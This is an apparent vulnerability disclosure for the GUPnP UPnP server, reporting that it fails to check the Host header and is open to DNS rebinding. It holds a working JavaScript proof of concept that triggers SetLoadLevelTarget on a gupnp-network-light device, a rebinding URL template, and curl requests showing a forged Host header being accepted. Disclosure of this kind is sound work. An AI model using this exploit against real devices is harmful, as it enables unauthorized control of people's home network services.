Security Issue: Server does not check value of Host header
Message
Summary
The server-part of GUPNP appears to be vulnerable to DNS-rebinding attacks because it does not check the value of the Host header.
We demonstrate this using gupnp-network-light.
This code served from another web server can be used to trigger the SetLoadLevelTarget.
This need to be served using the same port as the targeted gupnp-network-light service.
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("/Dimming/Control", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"',
},
body: `
100
`
});
if (response.status == 200) {
alert("DONE!")
return;
}
await sleep(1000);
}
}
main()
We use access the malicious web server using a URL of the form:
http://a.203.0.113.24.5time.192.168.1.42.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:38757/
where:
-
203.0.113.24.5is the IP address of the malicious server; -
192.168.1.42is the private IP address of thegupnp-network-lightservice.
However we need to guess the local IP address and port of the service. We can use WebSocket based port scanning in order to do this.
This was tested on:
- Debian testing;
- gupnp-tools 0.10.0-2;
- libgupnp 1.2.4-1.
Code
The following verifications are done by control_server_handler():
if (msg->method != SOUP_METHOD_POST) {
soup_message_set_status (msg, SOUP_STATUS_NOT_IMPLEMENTED);
return;
}
if (msg->request_body->length == 0) {
soup_message_set_status (msg, SOUP_STATUS_BAD_REQUEST);
return;
}
/* DLNA 7.2.5.6: Always use HTTP 1.1 */
if (soup_message_get_http_version (msg) == SOUP_HTTP_1_0) {
soup_message_set_http_version (msg, SOUP_HTTP_1_1);
soup_message_headers_append (msg->response_headers,
"Connection",
"close");
}
context = gupnp_service_info_get_context (GUPNP_SERVICE_INFO (service));
/* Get action name */
soap_action = soup_message_headers_get_one (msg->request_headers,
"SOAPAction");
if (!soap_action) {
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
action_name = strchr (soap_action, '#');
if (!action_name) {
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
Details
Here's a normal UPnP request:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Content-Type: text/xml; charset=utf-8" \
-H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
--data-raw '
100
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:05:58 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285
The server does not check the Content-Type header:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Content-Type: text/xml; charset=utf-8" \
-H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
--data-raw '
100
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:06:28 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285
However, it mandates the usage SOAPAction header which prevents any CSRF attack:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Content-Type: text/xml; charset=utf-8" \
--data-raw '
100
'
HTTP/1.1 412 Precondition Failed
Date: Tue, 06 Apr 2021 20:25:57 GMT
Content-Length: 0
It does not check the host header:
curl -D- http://192.168.1.42:38757/Dimming/Control \
-H"Host: www.example.com" \
-H"Content-Type: text/xml; charset=utf-8" \
-H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
--data-raw '
100
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:08:13 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285